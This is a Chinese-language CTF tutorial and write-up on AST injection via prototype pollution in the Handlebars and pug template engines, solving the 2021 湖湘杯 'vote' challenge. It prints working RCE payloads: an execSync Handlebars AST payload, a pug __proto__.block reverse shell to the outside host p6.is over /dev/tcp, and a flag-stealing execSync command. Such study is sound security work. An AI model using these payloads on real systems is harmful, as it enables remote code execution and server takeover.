文章目录
- 概念
- 漏洞
- Handlebars
- pug
- 例题 [湖湘杯 2021 final]vote
概念
什么是AST注入
在NodeJS中,AST经常被在JS中使用,作为template engines(引擎模版)和typescript等。对于引擎模版,结构如下图所示。
如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。
在这里,你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。
然后我们可以向Parser(编译器)非预期的输入。
下面就是展示实际中在handlebars和pug使用AST注入执行任意命令
漏洞
Handlebars
本地测试,代码如下
const Handlebars = require('handlebars');
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"}));
这是如何在handlebars使用模板的方法,运行结果为下图
Handlebar.compile函数
将字符串转换为模板函数并传递对象因子以供调用
const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"}));
在这里,我们可以使用原型污染来影响编译过程。
你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。
构造payload
{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}
pug
本地测试,源码如下
const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});console.log(html);
此为在 pug 中使用模板的常见方法,运行结果为下图
pug.compile函数
将字符串转换为模板函数并传递对象以供调用
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
构造payload
{
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
}
例题 [湖湘杯 2021 final]vote
考察的是pug模板引擎下的rce
源码如下
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { hero } = unflatten(req.body);
if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
return res.json({
'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
});
} else {
return res.json({
'response': 'Please provide us with correct name.'
});
}
});
module.exports = router;
给了./api/submit
路由,然后看到pug.compile
稍微修改下payload,直接使用(这道题反弹shell不成功)
{
"hero.name":"锐雯",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /f* > ./static/1.txt')"
}
}
成功RCE
再访问一下static目录的1.txt,得到flag